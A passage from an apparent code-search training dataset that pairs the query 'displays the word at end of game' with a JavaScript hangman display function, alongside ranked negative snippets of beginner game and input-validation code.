(typeof sticksToRemove !== \\\"number\\\" ||\\n Math.trunc(sticksToRemove) !== sticksToRemove ||\\n sticksToRemove < 1 ||\\n sticksToRemove > Math.min(3, stickCount)) {\\n sticksToRemove = parseInt(prompt(\\\"Invalid entry. \\\" + players[0] + \\\", how many sticks do you want to remove? (1-3)\\\"));\\n }\\n}\",\n \"function checkDupe(data,x){\\n\\n if(idArray.includes(data[x][0])){\\n return false;\\n } else { return true; }\\n\\n}\",\n \"function areThereDuplicatesBonus(...args) {\\n args.sort();\\n let j = 1;\\n let i = 0;\\n while(j !== args.length){\\n if(args[j] !== args[i]){\\n i++;\\n j++;\\n } else {\\n return true;\\n }\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n return new Set(arguments).size !== arguments.length;\\n }\",\n \"function areThereDuplicates() {\\n return new Set(arguments).size !== arguments.length;\\n }\",\n \"function validateSkillSelections(){\\n // if there are errors clear them here, we'll replace them if they aren't fixed\\n $('.skills_section .validation_error').remove();\\n var $skills = $(\\\".skill_selector\\\");\\n var result = true;\\n console.log(`Starting skill validation. Result: ${result}`);\\n for(let j = 0; j < $skills.length; j++){\\n for(let i = $skills.length - 1; i > j; i--){\\n if( $($skills[j]).val() === $($skills[i]).val()){\\n // Two skills are the same, fire an error message\\n console.log(\\\"two skills are the same!!!!\\\");\\n result = false;\\n let skillType = $skills[j].id.slice(0, $skills[j].id.lastIndexOf(\\\"_\\\"));\\n if ($(`.skills_section .${skillType}_error`).length < 1){\\n insertValidationError(`.${skillType}_list`, skillType, \\\"You cannot choose the same skill more than once\\\"); \\n }\\n }\\n }\\n }\\n console.log(`Ending skill validation. Result: ${result}`);\\n return result;\\n }\",\n \"function checkGuess () {\\n var isItRepeated = $guessed.includes($guess);\\n if (isItRepeated === true) {\\n alreadyGuessed = true;\\n } else {\\n alreadyGuessed = false;\\n }\\n }\",\n \"addStudent(newStudent) {\\n let foundDuplicates = studentsFullList.filter(student => {\\n return student.name.includes(newStudent.name) == true || student.email.includes(newStudent.email) == true\\n });\\n if (foundDuplicates.length > 0) {\\n console.log(`Student already added`);\\n } else {\\n studentsFullList.push(newStudent);\\n }\\n return {\\n newStudent,\\n studentsFullList\\n }\\n }\",\n \"function isValid(guess) {\\n return !hasDuplicates(guess)\\n}\",\n \"function validateUsers(e) {\\n let username = e.target.name.value;\\n let pin = e.target.pin.value;\\n console.log(username, pin);\\n let x = sortedUsers.find((user) => user.username === username);\\n if (x != undefined) {\\n x.pin === pin ? exitSignIn(x) : alert(\\\"incorrect password\\\");\\n } else {\\n console.log(\\\"at else Existing User\\\");\\n alert(\\\"invalid input, try again\\\");\\n }\\n }\",\n \"function theGuess(userInput) {\\n //if the user guessed correctly....\\n if (userInput === theLetter) {\\n winCounter++;\\n lettersGuessed.length = 0;\\n guessesRemaining = 8;\\n newLetter();\\n printWin();\\n printLetters();\\n printGuesses();\\n winCheck();\\n //if the user guessed incorrectly and that letter has not already been guessed....\\n } else if (lettersGuessed.includes(userInput) === false) {\\n console.log(`User entered ${userInput}`);\\n lettersGuessed.push(userInput);\\n guessesRemaining--;\\n printGuesses();\\n printLetters();\\n }\\n gameCheck();\\n}\",\n \"function checkInputField(event) {\\n if (event.keyCode == 13 && players.length < maxPlayerNumber) {\\n AddPlayer();\\n }\\n}\",\n \"function validActivityInput(){\\n let activity = [];\\n const activityError = \\\"

    At least one activity must be selected

    \\\";\\n $('.activities label input').each((index, element) => {\\n activity.push(element.checked);\\n })\\n if (activity.indexOf(true) === -1 && $('.activityWarning').length === 0){\\n $('.activities').after(activityError);\\n }\\n if (activity.indexOf(true) !== -1 && $('.activityWarning').length > 0){\\n $('.activityWarning').remove();\\n }\\n}\",\n \"function checkInput(name,key)\\n{\\n if (name.match(/^\\\\s*$/)) //checks that roomane is not empty/contain only whitespace\\n {\\n window.alert(\\\"Room Name Can't Be Empty\\\");\\n return false;\\n }\\n else if (key.match(/^\\\\s*$/)) //check that room key is not empty/contain only whitespace\\n {\\n window.alert(\\\"Room Key Can't Be Empty\\\");\\n return false;\\n }\\n else\\n {\\n return true;\\n }\\n}\",\n \"function playersGuessSubmission() {\\n playersGuess = $(\\\"#guessInput\\\").val();\\n \\n $(\\\"#yourGuess\\\").text(\\\"Your guess was \\\" + playersGuess + \\\".\\\");\\n \\n \\t$(\\\"#guessInput\\\").val(\\\"\\\").focus();\\n if (checkGuess()==false){\\n $(\\\"#compare\\\").text(lowerOrHigher());\\n if (guessHistory.indexOf(playersGuess)!== -1){\\n \\t\\t$(\\\"#yourGuess\\\").append(\\\" You've tried that before!\\\"); \\t\\t \\n \\t\\t}\\n \\t}\\n \\tguessHistory.push(playersGuess);\\n \\t\\n}\",\n \"function uniqueValues(value) {\\n if (arr1.includes(value) && arr2.includes(value)) {\\n console.log(\\\"dupe\\\") \\n } else {\\n return value;\\n }\\n }\",\n \"validateAnItem(item) {\\n let errors = [];\\n if (_.find(this.state.items, {sequenceName: item.sequenceName})) {\\n errors.push(\\\"There's already a sequence with this name\\\");\\n }\\n if (_.find(this.state.items, {sequence: item.sequence})) {\\n errors.push(\\\"There's already another entry for this sequence\\\");\\n }\\n if (item.sequenceName === \\\"\\\") {\\n errors.push(\\\"Name is required\\\");\\n }\\n if (item.sequenceDescription === \\\"\\\") {\\n errors.push(\\\"Description is required\\\");\\n }\\n if (item.sequence === \\\"\\\") {\\n errors.push(\\\"Sequence is required\\\");\\n } \\n // We only need the first occurance of a non-allowed letter, so .search makes sense here\\n let nonDNA = item[\\\"sequence\\\"].search(/[^ATCG]/g);\\n if (nonDNA !== -1) {\\n errors.push(`Non-DNA character found at position ${nonDNA}`);\\n }\\n return errors;\\n }\",\n \"function duplicateInputFieldMessage(fieldName) {\\n return \\\"There can be only one input field named \\\\\\\"\\\".concat(fieldName, \\\"\\\\\\\".\\\");\\n}\",\n \"checkDupe() {\\n let occurrences = this.props.occurrences;\\n let habit = this.state.currentHabit;\\n let time = JSON.parse(JSON.stringify(this.state.habitTime));\\n let quantity = this.state.quantity;\\n let found = false;\\n\\n occurrences.forEach(item => {\\n if (item.timestamp.slice(0, 10) === time.slice(0, 10)) {\\n found = true;\\n }\\n });\\n\\n if (found) {\\n alert('Please make any updates to existing logs by updating your table');\\n } else {\\n this.props.logHabit(habit, time, quantity);\\n }\\n }\",\n \"function checkIndivDupe() {\\n var firstInstance = true;\\n var dupeCount = 0;\\n \\n var validUserRows = validUserSheet.getLastRow() + 1;\\n for (var row = 1; row < validUserRows; row++) {\\n if (validUserSheet.getRange(row, 6).getValue() == userEmail) {\\n if (firstInstance) {\\n isIndivDupe = true;\\n //get original batch ID\\n origBatchId = validUserSheet.getRange(row, 2).getValue();\\n origUID = validUserSheet.getRange(row, 3).getValue();\\n origUserFirst = validUserSheet.getRange(row, 4).getValue();\\n origUserLast = validUserSheet.getRange(row, 5).getValue();\\n origUserEmail = validUserSheet.getRange(row, 6).getValue();\\n origUserOrg = validUserSheet.getRange(row, 7).getValue();\\n firstInstance = false;\\n }\\n //increment duplicate count\\n dupeCount++;\\n }\\n }\\n \\n Logger.log('This a duplicate 1: ' + isIndivDupe);\\n Logger.log('The original Batch ID is: ' + origBatchId);\\n \\n if (isIndivDupe) {\\n //get info about original submission using original batch ID\\n \\n var logSheetRows = logSheet.getLastRow() + 1;\\n for (var logRow = 1; logRow < logSheetRows; logRow++) {\\n if (logSheet.getRange(logRow, 3).getValue() == origBatchId) {\\n origRespFirst = logSheet.getRange(logRow, 4).getValue();\\n origRespLast = logSheet.getRange(logRow, 5).getValue();\\n origRespName = origRespFirst + ' ' + origRespLast;\\n origRespEmail = logSheet.getRange(logRow, 6).getValue();\\n origTime = logSheet.getRange(logRow, 1).getValue();\\n origTime = Utilities.formatDate(origTime, ss.getSpreadsheetTimeZone(), \\\"M/d/yy 'at' h:mm a\\\");\\n }\\n }\\n \\n }\\n \\n }\",\n \"function checkDuplicates(args) {\\n const check = {}\\n\\n for (let val of args) {\\n check[val] = (check[val] || 0) + 1\\n }\\n\\n for (let key in check) {\\n if (check[key] > 1) return true\\n }\\n\\n return false\\n}\",\n \"function isDuplicates (alphabet) {\\n let array = [];\\n for (let i = 0; i < alphabet.length; i++) {\\n if (array.includes (alphabet[i])) {\\n return true;\\n }\\n array.push (alphabet[i]);\\n }\\n return false;\\n }\",\n \"function chkAns(){\\n\\tif(usrGss % 1 !== 0){\\n\\t\\t//feedback when your user uses only text chars not number\\n\\t\\t$(\\\"#newFdbk\\\").text(\\\"please input only numbers\\\");\\n\\t\\treturn true;\\n\\t}\\n\\tif(usrGss < 0 || usrGss > 101){\\n\\t\\t//feedback to the user if they use numbers beyond 100 o negative numbers\\n\\t\\t$(\\\"#newFdbk\\\").text('Try a number between 0 and 100');\\n\\t\\treturn true;\\n\\t}\\n\\tif(gssHsty.length > 0){\\n\\t\\t$.each(gssHsty,function(guess,value){//loop through the entire guess history array to look for any number that has been repated by the user guess\\n\\t\\t\\tif(usrGss == value){//compare the equality of each value in the array\\n\\t\\t\\t\\tgssed = true;//set taht guessed value to true\\n\\t\\t\\t}\\n\\t\\t}); \\n\\t}\\n\\tif(gssed){//here we evaluate the guessed number previusly found as a repeated number input by the user\\n\\t\\tgssed = false;\\n\\t\\t//if the user repeats any number, they will get this feedback\\n\\t\\t$(\\\"#newFdbk\\\").text('You already used this number');\\n\\t\\treturn true;\\n\\t}\\nreturn false;\\n}\",\n \"submitWord(event) {\\n event.preventDefault();\\n let word = document.getElementById('inputBox').value.toLowerCase();\\n document.getElementById('inputBox').value = '';\\n if(/^[a-zA-Z]+$/.test(word)) {\\n let submittedWords = this.state.submittedWords;\\n if (!submittedWords.includes(word)) {\\n answer(word);\\n }\\n }\\n }\",\n \"function isDuplicate(str) {\\n for (i = 0; i < guessesSoFarArray.length; i++) {\\n if (str === guessesSoFarArray[i]) {\\n return true;\\n } else { }\\n } // end of for loop\\n return false;\\n} // end of isDuplicate()\",\n \"function validateLetter (usersKeypress) {\\n message.innerText = \\\"\\\";\\n\\n var repeatGuess = lettersGuessed.some(function(item){\\n return item === usersKeypress;\\n })\\n\\n //alert player if the above code is true.\\n if (repeatGuess) {\\n //alert(usersKeypress + \\\" already guessed. Try again!\\\");\\n message.innerHTML = \\\"Already guessed that. Try again!\\\";\\n\\n //if it is not a repeat guess, check if it's in word\\n } else {\\n lettersGuessed.push(usersKeypress);\\n console.log(\\\"Guessed so far\\\", lettersGuessed);\\n\\n //show user's input in browser\\n showLettersGuessed();\\n //is user's input a match to computer guess\\n guessMatch(usersKeypress);\\n }\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6776648","0.67727125","0.66299736","0.64909345","0.62932765","0.62074447","0.61125845","0.61001307","0.6071562","0.6062199","0.6048642","0.5961513","0.59330827","0.59151876","0.5910981","0.5858354","0.58479273","0.58370197","0.5829865","0.58098704","0.57894814","0.577449","0.5748707","0.5742362","0.5735819","0.572044","0.5695264","0.5693701","0.5689143","0.56772125","0.5675341","0.56751996","0.56732976","0.5665424","0.5658478","0.5655355","0.5655355","0.5655355","0.5655355","0.5655355","0.5655355","0.5650393","0.56454456","0.5632972","0.5629295","0.56286573","0.56095225","0.5609218","0.56085","0.5604083","0.5599149","0.559753","0.5587143","0.55821866","0.5578315","0.5575688","0.5560459","0.5558458","0.5557009","0.5556425","0.55512094","0.5547732","0.5547191","0.55363953","0.553545","0.55337113","0.5528192","0.5524857","0.5522517","0.55121654","0.5494889","0.5481663","0.54797167","0.5478386","0.5476596","0.5470685","0.5467913","0.5466791","0.54597807","0.54597807","0.54582435","0.5456269","0.5444514","0.54408574","0.543818","0.54371667","0.5437087","0.5437069","0.5435257","0.54322916","0.54293406","0.5428722","0.54264706","0.542628","0.542251","0.5415247","0.5413435","0.54026014","0.54004085","0.5400377","0.5399994"],"string":"[\n \"0.6776648\",\n \"0.67727125\",\n \"0.66299736\",\n \"0.64909345\",\n \"0.62932765\",\n \"0.62074447\",\n \"0.61125845\",\n \"0.61001307\",\n \"0.6071562\",\n \"0.6062199\",\n \"0.6048642\",\n \"0.5961513\",\n \"0.59330827\",\n \"0.59151876\",\n \"0.5910981\",\n \"0.5858354\",\n \"0.58479273\",\n \"0.58370197\",\n \"0.5829865\",\n \"0.58098704\",\n \"0.57894814\",\n \"0.577449\",\n \"0.5748707\",\n \"0.5742362\",\n \"0.5735819\",\n \"0.572044\",\n \"0.5695264\",\n \"0.5693701\",\n \"0.5689143\",\n \"0.56772125\",\n \"0.5675341\",\n \"0.56751996\",\n \"0.56732976\",\n \"0.5665424\",\n \"0.5658478\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5650393\",\n \"0.56454456\",\n \"0.5632972\",\n \"0.5629295\",\n \"0.56286573\",\n \"0.56095225\",\n \"0.5609218\",\n \"0.56085\",\n \"0.5604083\",\n \"0.5599149\",\n \"0.559753\",\n \"0.5587143\",\n \"0.55821866\",\n \"0.5578315\",\n \"0.5575688\",\n \"0.5560459\",\n \"0.5558458\",\n \"0.5557009\",\n \"0.5556425\",\n \"0.55512094\",\n \"0.5547732\",\n \"0.5547191\",\n \"0.55363953\",\n \"0.553545\",\n \"0.55337113\",\n \"0.5528192\",\n \"0.5524857\",\n \"0.5522517\",\n \"0.55121654\",\n \"0.5494889\",\n \"0.5481663\",\n \"0.54797167\",\n \"0.5478386\",\n \"0.5476596\",\n \"0.5470685\",\n \"0.5467913\",\n \"0.5466791\",\n \"0.54597807\",\n \"0.54597807\",\n \"0.54582435\",\n \"0.5456269\",\n \"0.5444514\",\n \"0.54408574\",\n \"0.543818\",\n \"0.54371667\",\n \"0.5437087\",\n \"0.5437069\",\n \"0.5435257\",\n \"0.54322916\",\n \"0.54293406\",\n \"0.5428722\",\n \"0.54264706\",\n \"0.542628\",\n \"0.542251\",\n \"0.5415247\",\n \"0.5413435\",\n \"0.54026014\",\n \"0.54004085\",\n \"0.5400377\",\n \"0.5399994\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":12,"cells":{"query":{"kind":"string","value":"displays the word at end of game"},"document":{"kind":"string","value":"function displayWord(hangmanWord) {\n\tvar showWord = \"\";\n\tfor (var i = 0; i < hangmanWord.correctLettersGuessed.length; i++) {\n\t\tshowWord += hangmanWord.correctLettersGuessed[i].letterGuessed;\n\t}\n\treturn showWord;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function DisplayWord() {\n\tvar wordToPrint : String;\n\tvar hWord : GameObject;\n\t//var offset : float;\n\tswitch(this.kana) {\n\t\tcase \"a\":\n\t\t\twordToPrint = \"あ り\";\n\t\tbreak;\n\t\t\n\t\tcase \"i\":\n\t\t\twordToPrint = \"い な ず ま\";\n\t\tbreak;\n\t\t\n\t\tcase \"u\":\n\t\t\twordToPrint = \"う さ ぎ\";\n\t\tbreak;\n\t\t\t\t\t\n\t\tcase \"e\":\n\t\t\twordToPrint = \"え ん\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"o\":\n\t\t\twordToPrint = \"お す\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ka\":\n\t\t\twordToPrint = \"か た な\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ki\":\n\t\t\twordToPrint = \"き り か ぶ\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ku\":\n\t\t\twordToPrint = \"く さ り\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ke\":\n\t\t\twordToPrint = \"け る\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ko\":\n\t\t\twordToPrint = \"こ ぶ し\";\n\t\tbreak;\n\t\t\n\t\tdefault:\n\t\t\t;\n\t\t\t\t\n\t}\n\t//hWord = Instantiate(this.word, this.player.transform.position, Quaternion.identity);\n\t//offset = .005 * wordToPrint.Length;\n\thWord = Instantiate(this.word, new Vector3(0.45, 0.6, -8), Quaternion.identity);\n\thWord.guiText.text = wordToPrint;\n}","function dashes(){\r\n document.getElementById('word').innerHTML = '';\r\n for (var i = 0; i < guesses.length; i++)\r\n document.getElementById('word').innerHTML += guesses[i] + ' ';\r\n document.getElementById('start').style.visibility = \"hidden\";\r\n}","function handleText() {\n if (index < text.length) {\n id(\"output\").innerText = \"\";\n let curWord = text[index];\n id(\"output\").innerText = curWord;\n index++;\n } else {\n endGame();\n }\n }","function showWord(word) {\n var i;\n for (i = 0; i < word.length; i ++) {\n process.stdout.write(word[i]);\n }\n playAgain();\n}","function displayNextWordFor(objectName){\n\tvar obj = HangMan[objectName];\n\tHangMan.gameReady = true;\n\tobj.word = obj.words[Math.floor(Math.random() * obj.words.length)].toLowerCase();\n\tobj.lives = 10;\n\tobj.guesses = [];\n\tobj.trueg = [];\n\tfor ( i = 0 ; i < obj.word.length ; i++ ){obj.trueg.push('0')};\n\tobj.falseg = [];\n\tloadObject(objectName);\n}","function displayWord(word, words, firstRound) {\n\t\tconsole.log(\"currWord: \" + word);\n\t\tdocument.getElementById(\"currWord\").innerHTML = word;\n\t\tvar currChar = 0;\n\n\t\tvar wordLength = word.length;\n\n\t\t$('#currWord').on('click', function() {\n\t\t\tif (firstRound) {\n\t\t\t\t$('#typeDummy').toggleClass('highlight');\n\t\t\t}\n\t\t})\n\n\t\t//when the user types a key\n\t\tdocument.onkeypress = function(evt) {\n\t\t\tif (!gameOver) {\n\t\t\t\tif (evt.keyCode == 8) {\n\t\t\t\t \tevt.preventDefault();\n\t\t\t\t}\t\t\n\t\t\t evt = evt || window.event;\n\t\t\t var charCode = evt.which || evt.keyCode;\n\t\t\t var charTyped = String.fromCharCode(charCode);\n\n\t\t\t if ((charCode == 39) || (charCode <= 122 && charCode >= 97)) {\n\t\t\t\t if (charCode == word.charCodeAt(currChar)) {\n\t\t\t\t \tcurrChar++;\n\t\t\t\t \tdocument.getElementById(\"currWord\").innerHTML = \"\"\n\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t + word.substring(0,currChar) + \"\"\n\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t + word.substring(currChar, wordLength);\n\t\t\t\t } else {\n\t\t\t\t \tmistakeCount++;\n\t\t\t\t \tif (mistakeCount < 8) {\n\t\t\t\t\t \t$(\"#misses\").html( $(\"#misses\").html() + \"X\" );\n\t\t\t\t \t} else {\n\t\t\t\t \t\t$(\"#misses\").html(mistakeCount);\n\t\t\t\t \t}\n\t\t\t\t }\n\t\t \t}\n\n\t\t \t//once the user has fully typed the word\n\t\t\t if (currChar == wordLength) {\n\t\t\t \tif (firstRound) {\n\t\t\t \t\tstartGame();\n\t\t\t \t} else {\n\t\t\t \t\twordCount++;\n\t\t\t \t\trando = words[Math.floor(Math.random() * words.length)];\n\t\t\t \t\tdisplayWord(rando, words, false);\n\t\t\t \t}\n\t\t\t }\n\t\t }\n\t\t};\n\t}","function final(any) {\n element.wordGuess.textContent = string[any]; // will show win or lose string property\n sound[any].play(); //will play win or lose sound\n score[any]++; //will increment win or lose score\n update(); \n setTimeout(function () { //timer so that you can enjoy the music and strings\n reset();\n }, 2000);\n }","function displayWord(myword, desc){\r\n let display = \"\";\r\n for(let i = 0; i < myword.length; i++){\r\n if(i != myword.length - 1){\r\n display += myword.charAt(i) + \" \";\r\n } else {\r\n display += myword.charAt(i);\r\n }\r\n }\r\n document.getElementById(\"display\").innerHTML = display;\r\n document.getElementById(\"desc\").innerHTML = desc;\r\n}","function Display(){\n document.getElementById(\"wins\").textContent = countWins;\n document.getElementById(\"dispWord\").textContent = dispWord;\n document.getElementById(\"guessesLeft\").textContent = 12 - countGuesses;\n document.getElementById(\"lettersGuessed\").textContent = lettersGuessed;\n console.log(\"Random word is: \" + guessWord);\n}","function endWord() {\n var stringDisplay = \"\"\n globalList.forEach(function(item){\n stringDisplay += item\n document.querySelector(\"#applyGuess\").innerHTML = stringDisplay.toUpperCase()\n document.querySelector(\"#endWord\").innerHTML = \"Word Was:\"\n })\n}","function reveal(guess) {\n for (var z = 0; z < word.length; z++) {\n if (word[z] == guess) {\n context.fillText(word[z], (100 + (z * 20)), 490);\n lettersRemaining--;\n console.log(\"reveal: \" + lettersRemaining);\n }\n }\n }","function showWord(words)\r\n{\r\n\t//generate random array index\r\n\tconst randIndex=Math.floor(Math.random() * words.length);\r\n\t//output random word\r\n\tcurrentWord.innerHTML=words[randIndex];\r\n}","function showword(words){\n const randindex = Math.floor(Math.random() * words.length);\n\n //output random word\n currentword.innerHTML = words[randindex];\n}","function displayLetter(myword, letter, word){ // by jaguar\r\n let display = \"\";\r\n let mywordarr = myword.split(\"\")\r\n for(let i = 0; i < myword.length; i++){\r\n if(i != myword.length){\r\n if(letter === word.charAt(i)){\r\n display = display + letter + \" \";\r\n mywordarr[i] = letter\r\n } else {\r\n display += myword.charAt(i) + \" \";\r\n }\r\n } else {\r\n display += myword.charAt(i);\r\n }\r\n }\r\n displayed = mywordarr.join(\"\")\r\n document.getElementById(\"display\").innerHTML = display;\r\n checkWincondition(display, word)\r\n}","function updateDisplay(wordArray, midGame) {\n // let wordJoin = wordArray.join(\" \");\n document.getElementById(\"guess-word\").innerHTML = wordArray.join(\" \");\n if (midGame !== undefined) {\n document.getElementById(\"letters-guessed\").innerHTML = \"Letters guessed: \" + midGame.join(\", \");\n document.getElementById(\"guess-remain\").innerHTML = \"Guesses left: \" + parseInt(numGuesses - midGame.length);\n document.getElementById(\"hangman-graphic\").innerHTML = hangdood[midGame.length];\n }\n else {\n document.getElementById(\"letters-guessed\").innerHTML = \"Letters guessed: \";\n document.getElementById(\"guess-remain\").innerHTML = \"Guesses left: \" + numGuesses;\n }\n }","function renderNewWord() {\n\n // random word generator\n var random = Math.floor(Math.random() * wordLength.length);\n\n // get a random word and clear the string display\n let word = wordLength[random];\n wordDisplayString.innerHTML = \"\";\n\n // for each character in the word array create a 1 char span\n word.split(\"\").forEach(character => {\n const characterSpan = document.createElement(\"span\");\n characterSpan.innerText = character;\n wordDisplayString.appendChild(characterSpan);\n })\n\n // set input to null and focus it\n wordInput.value = null;\n wordInput.focus();\n }","function showWord(words) {\r\n const randIndex = Math.floor(Math.random() * words.length);\r\n currentWord.innerHTML = words[randIndex];\r\n }","displayWordInfo() {\r\n this.displayHangman();\r\n this.displayLives();\r\n this.displayLetters();\r\n this.displayLettersToGuess();\r\n }","function showWord(words) {\n const randIndex = Math.floor(Math.random() * words.length);\n currentWord.innerHTML = words[randIndex];\n}","function displayNextLevel() {\r\n getWord(level);\r\n encryptGameWord();\r\n writeEncryptedWord();\r\n writeGameInfo();\r\n toggleGameElements();\r\n startTimer(80);\r\n $(\"#user-word\").focus();\r\n }","function renderGame() {\n // Set a random word\n randomNumber = Math.floor(Math.random() * 21); \n currentWord = wordArray[randomNumber][0];\n console.log(\"currentWord\", currentWord);\n\n if (currentWord.length < 8) {\n guessesLeft = currentWord.length + 3;\n // console.log(\"guessesLeft\", guessesLeft);\n } else {\n guessesLeft = 8;\n }\n\n lettersGuessed = [];\n // console.log(\"lettersGuessed\", lettersGuessed);\n dashArr = [];\n\n\n\n\n splitArr = currentWord.toLowerCase().split('');\n // console.log(\"splitArr\", splitArr);\n\n // Check the length of word and render dashes\n // Check for spaces\n splitArr.map(index => {\n if (index === \" \") {\n dashArr.push(' ');\n }\n\n else {\n dashArr.push('-');\n }\n })\n\n // console.log(\"dashArr\", dashArr);\n\n displayWord = dashArr.join('');\n\n // console.log(\"displayWord\", displayWord);\n\n document.querySelector(\"#display-word\").innerHTML = displayWord.toUpperCase();\n document.querySelector(\"#display-wins\").innerHTML = wins;\n document.querySelector(\"#display-losses\").innerHTML = losses;\n document.querySelector(\"#display-guesses-left\").innerHTML = guessesLeft;\n document.querySelector(\"#display-image\").src = \"./assets/images/finnandjake.png\";\n document.querySelector(\"#display-letters-guessed\").innerHTML = lettersGuessed;\n document.querySelector(\"#instructions\").innerHTML = \"Guess A Letter To Get Started!\" ;\n\n\n\n}","function endWin(word) {\n console.log(\"You win. The word was:\");\n showWord(word);\n}","function hangman(){\n var x = word.length;\n var y = x-1;\n var spaces = 0;\n while (x>0){\n numChar++;\n var letter = word.substring(y,x);\n if(letter === \" \"){\n document.getElementById('letter'+x).innerHTML = \"&nbsp;\";\n document.getElementById('letter'+x).style.visibility = \"hidden\";\n document.getElementById('letter'+x).style.display = \"block\";\n document.getElementById('underline'+x).style.display = \"block\";\n spaces++;\n }\n else{\n document.getElementById('letter'+x).innerHTML = letter;\n document.getElementById('letter'+x).style.visibility = \"hidden\";\n document.getElementById('underline'+x).style.display = \"block\"; \n document.getElementById('underline'+x).style.borderBottom = \"3px solid white\";\n }\n x--;\n y--;\n }\n wordLength = word.length - spaces;\n document.getElementById('gamePage').style.display = \"block\";\n\n}","function drawboard(location, word) {\n for (var i = 0; i < word.length; i++) {\n context.fillText('_ ', (location[0] + i * 20), location[1]);\n }\n }","function showText() {\n $(\"#textDisplay\").empty();\n $(\"#instructions\").empty();\n randomWords = [];\n for (var i = 0; i < wordCount; i++) {\n var ranWord = wordList[Math.floor(Math.random() * wordList.length)];\n if (wordList[wordList.length - 1] !== ranWord || wordList[wordList.length - 1] === undefined) {\n randomWords.push(ranWord);\n }\n }\n randomWords.forEach(function(word){\n $(\"#textDisplay\").append($(\"\",{\"text\": word + \" \",\"class\":\"word\"}));\n });\n textDisplay.firstChild.classList.add(\"highlightedWord\")\n }","function showWord(words) {\n // Generate random array index\n const randIndex = Math.floor(Math.random() * words.length);\n // Output the random word\n currentWord.innerHTML = words[randIndex];\n}","function currentWordDisplay() {\n var activeCharacterDisplay = document.querySelector(\"#activeCharacterDisplay\");\n activeCharacterDisplay.textContent = answerArray.join(\" \");\n}","function showWord(words){\r\n// generate random array index//\r\nconst randIndex =math.floor(math.random() * words.length);\r\n// output random words//\r\ncurrentWord.innerHTML = words[randIndex];\r\n}","function right() {\r\n //if guess is correct\r\n //keep checking if to see if there is another space for the same letter\r\n for (var j = 0; j < underScore.length; j++) {\r\n if (word[j] === guess) {\r\n underScore[j] = guess;\r\n var blank = \"

    \" + underScore.join(\" \") + \"

    \";\r\n document.getElementById(\"blank\").innerHTML = blank;\r\n }\r\n //hide and show you win div\r\n if (underScore.join(\"\") === word) {\r\n winMessage.show();\r\n direct.hide();\r\n }\r\n }\r\n}","function displayLetters(guess){\n\t\tfor (var i=0;i {currentWord.innerHTML = words[0][randIndex]}, 200)\r\n}","function updateDisplay() {\n document.getElementById(\"counterWins\").innerText = wins;\n var guessingWordText = \"\";\n for (var i = 0; i < guessingWord.length; i++) {\n guessingWordText += guessingWord[i];\n }\n document.getElementById(\"currentWord\").innerText = guessingWordText;\n document.getElementById(\"counterLives\").innerText = remainingGuesses;\n document.getElementById(\"counterGuessed\").innerText = guessedLetters;\n}","function lose() {\n gameEnd.css('display', 'block');\n endParagraph.html(`Being eaten alive by the bugs probably hurt. You gathered ${points} ${points == 1 ? 'point' : 'points'} before that happened.`);\n}","function underline(){\r\n\r\n underscore = [];\r\n for(let i=0;i 0) {\n wins++;\n var showWins = document.getElementById(\"wins\");\n showWins.innerHTML = wins;\n }\n }\n}","function updateDisplay() {\n\n document.getElementById(\"totalWins\").innerText = wins;\n document.getElementById(\"totalLosses\").innerText = losses;\n\n // Display how much of the word we've already guessed on screen.\n var guessWordText = \"\";\n for (var i = 0; i < guessWord.length; i++) {\n guessWordText += guessWord[i];\n }\n\n //\n document.getElementById(\"currentWord\").innerText = guessWordText;\n document.getElementById(\"lifePoints\").innerText = lifePoints;\n document.getElementById(\"guessedLetters\").innerText = guessedLetters;\n}","displayLetters() {\r\n let wordHidden = \"\\n\";\r\n for (let i = 0; i < this.text.length; i++) {\r\n if (this.lettersToGuess.includes(this.text.charAt(i))) {\r\n wordHidden += HangmanUtils.symbol;\r\n }\r\n else {\r\n wordHidden += this.text.charAt(i);\r\n }\r\n wordHidden += \" \";\r\n }\r\n console.log(wordHidden);\r\n }","function displayGame() {\n getAnimal();\n animalType.innerHTML = gameAnimalType;\n animalToGuess.innerHTML = handleGameWord(gameAnimalExample);\n document.getElementById(\"guess\").focus();\n document.getElementById(\"guess\").select();\n wordWrapper.classList.remove(\"vis-hidden\");\n }","function newGame() {\n gameStart = true\n clearOut();\n ransomdomize();\n createSpan();\n \n //console.log(chosenWord); //CHEAT -- GET THE ANSWERS IN CONCOLE\n \n}","function clock() {\n timeElapsed = timeElapsed + letterTime;\n if (!flipped) {\n lettersShow = lettersShow + 1;\n flipped = (lettersShow >= currentWord.length)\n }else{\n if ( ((wordTime - timeElapsed)/letterTime) < currentWord.length ) {\n lettersShow = lettersShow - 1;\n \n if (lettersShow == 0) {\n flipped = false;\n timeElapsed = 0;\n changeWord();\n }\n }\n }\n\n $('#anim-text').text(function(i,t) {\n return currentWord.substr(0,lettersShow);\n })\n }","function printToPage(randomWord) {\n myWord = randomWord.word;\n // concatenate array to Str for printing on one line\n var myStr = '';\n console.log(myWord);\n for (var i = 0; i < myWord.length; i++){\n if (correctGuesses.includes(myWord[i])) {\n myStr += (\" \" + myWord[i] + \" \");\n }\n else {\n myStr += (\" _ \");\n }\n };\n console.log('\\n' + myStr + '\\n');\n if (correctGuesses.length == myWord.length) {\n console.log(\"GG bro\");\n }\n else {\n promptUser();\n };\n \n}","function draw() {\n if (lives <= 0) {\n ctx.clearRect(0, 0, canvas.width, canvas.height);\n ctx.font = \"60px Arial\";\n ctx.fillStyle = \"red\";\n ctx.fillText(\"Game Over\", position, canvas.height / 2);\n return;\n }\n\n /* user type in the word that is being display */\n\n let typeWord = 